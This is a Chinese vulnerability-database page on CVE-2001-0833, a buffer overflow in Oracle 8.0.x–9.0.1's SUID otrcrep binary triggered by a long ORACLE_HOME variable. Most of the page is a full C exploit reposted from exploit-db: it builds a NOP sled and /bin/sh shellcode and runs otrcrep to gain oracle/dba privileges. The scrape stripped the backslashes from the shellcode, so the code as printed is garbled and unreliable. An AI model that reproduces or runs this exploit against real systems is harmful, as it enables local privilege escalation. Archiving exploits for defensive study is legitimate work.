Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞

Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞

漏洞ID 1106456 漏洞类型 缓冲区溢出
发布时间 2001-08-02 更新时间 2005-10-12
图片[1]-Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0833
图片[2]-Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200112-023
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21045
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200112-023
|漏洞详情
Oracle8.0.x到9.0.1版本的otrcrep存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码,也称为“Oracle踪迹收集安全漏洞”。
|漏洞EXP
source: http://www.securityfocus.com/bid/3139/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.

/*
 * This vulnerability was researched by:
 * Juan Manuel Pascual Escriba <[email protected]>
 * cc -o evolut otrcrep.c; ./evolut 300 0
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFER		               300 
#define OFFSET			       0 
#define NOP                            0x90
#define BINARY	"/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"


char shellcode[] =
  "xebx1d"
  "x5e"
  "x29xc0"
  "x88x46x07"
  "x89x46x0c"
  "x89x76x08"
  "xb0x0b"
  "x87xf3"
  "x8dx4bx08"
  "x8dx53x0c"
  "xcdx80"
  "x29xc0"
  "x40"
  "xcdx80"
  "xe8xdexffxffxff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

 /* void main(int argc, char *argv[]) { */
void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.n");
    exit(0);
  }

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '';
setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);  
system(BINARY);  
}
|参考资料

来源:otn.oracle.com
链接:http://otn.oracle.com/deploy/security/pdf/otrcrep.pdf
来源:BUGTRAQ
名称:20011023FW:ASIOracleSecurityAlert:3newsecurityalerts
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100386756715645&w;=2
来源:XF
名称:oracle-binary-symlink(6940)
链接:http://xforce.iss.net/static/6940.php
来源:BID
名称:3139
链接:http://www.securityfocus.com/bid/3139
来源:CIAC
名称:M-011
链接:http://www.ciac.org/ciac/bulletins/m-011.shtml
来源:BUGTRAQ
名称:20011024OracleTraceCollectionSecurityVulnerability
链接:http://online.securityfocus.com/archive/1/222612
来源:BUGTRAQ
名称:20010802vulnerabilityinotrcrepbinaryinOracle8.0.5.
链接:http://online.securityfocus.com/archive/1/201295

相关推荐: Cisco uBR7200 / uBR7100 Universal Broadband Routers DOCSIS MIC Bypass Vulnerability

Cisco uBR7200 / uBR7100 Universal Broadband Routers DOCSIS MIC Bypass Vulnerability 漏洞ID 1101959 漏洞类型 Failure to Handle Exceptiona…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享